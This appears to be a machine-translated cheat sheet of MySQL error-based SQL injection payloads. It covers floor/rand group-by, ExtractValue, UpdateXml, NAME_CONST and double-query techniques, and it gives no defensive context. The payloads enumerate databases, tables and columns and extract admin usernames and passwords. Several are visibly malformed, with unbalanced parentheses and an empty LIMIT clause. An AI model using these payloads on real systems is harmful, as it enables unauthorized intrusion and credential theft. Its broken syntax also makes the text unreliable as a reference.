Mysql error injection (explicit error injection) sorting

Mysql error injection (explicit error injection) sorting

1. floor brute-force Error
/* Database version */
And (select 1 from (select count (*), concat (select concat (0x7e, version (), 0x7e) from information_schema.tables limit 0, 1 ), floor (rand (0) * 2) x from information_schema.tables group by x))
/* Simple Method */
Id = info ()
/* Connect to the user */
And (select 1 from (select count (*), concat (select concat (0x7e, user (), 0x7e) from information_schema.tables limit 0, 1 ), floor (rand (0) * 2) x from information_schema.tables group by x))
/* Connect to the database */
And (select 1 from (select count (*), concat (select concat (0x7e, database (), 0x7e) from information_schema.tables limit 0, 1 ), floor (rand (0) * 2) x from information_schema.tables group by x))
/* Brute-force database */
And (select 1 from (select count (*), concat (select distinct concat (0x7e, schema_name, 0x7e) FROM information_schema.schemata LIMIT 0, 1 )) from information_schema.tables limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x))
/* Violent table */
And (select 1 from (select count (*), concat (select distinct concat (0x7e, table_name, 0x7e) FROM information_schema.tables where table_schema = database () LIMIT) from information_schema.tables limit), floor (rand (0) * 2) x from information_schema.tables group by x))
/* Violent field */
And (select 1 from (select count (*), concat (select distinct concat (0x7e, column_name, 0x7e) FROM information_schema.columns where table_name = 0x61646D696E LIMIT 0, 1 )) from information_schema.tables limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x))
/* Violent content */
And (select 1 from (select count (*), concat (select distinct concat (0x23, username, 0x3a, password, 0x23) FROM admin limit 0, 1) from information_schema.tables limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x))

2. ExtractValue (with a length limit, up to 32 bits)
And extractvalue (1, concat (0x7e, (select @ version), 0x7e ))
And extractvalue (1, concat (0x7e, (SELECT distinct concat (0x23, username, 0x3a, password, 0x23) FROM admin limit 0, 1 )))

3. UpdateXml (maximum length: 32 bits)
And updatexml (1, concat (0x7e, (SELECT @ version), 0x7e), 1)
And updatexml (1, concat (0x7e, (SELECT distinct concat (0x23, username, 0x3a, password, 0x23) FROM admin limit 0, 1), 0x7e), 1)

4. NAME_CONST (applicable to earlier versions)
And + 1 = (select + * + from + (select + NAME_CONST (version (), 1), NAME_CONST (version (), 1) + as + x )--

5. Error based Double Query Injection (http://www.vaibs.in/error-based-double-query-injection)
/* Database version */
Or + 1 + group + by + concat_ws (0x7e, version (), floor (rand (0) * 2) + having + min (0) + or + 1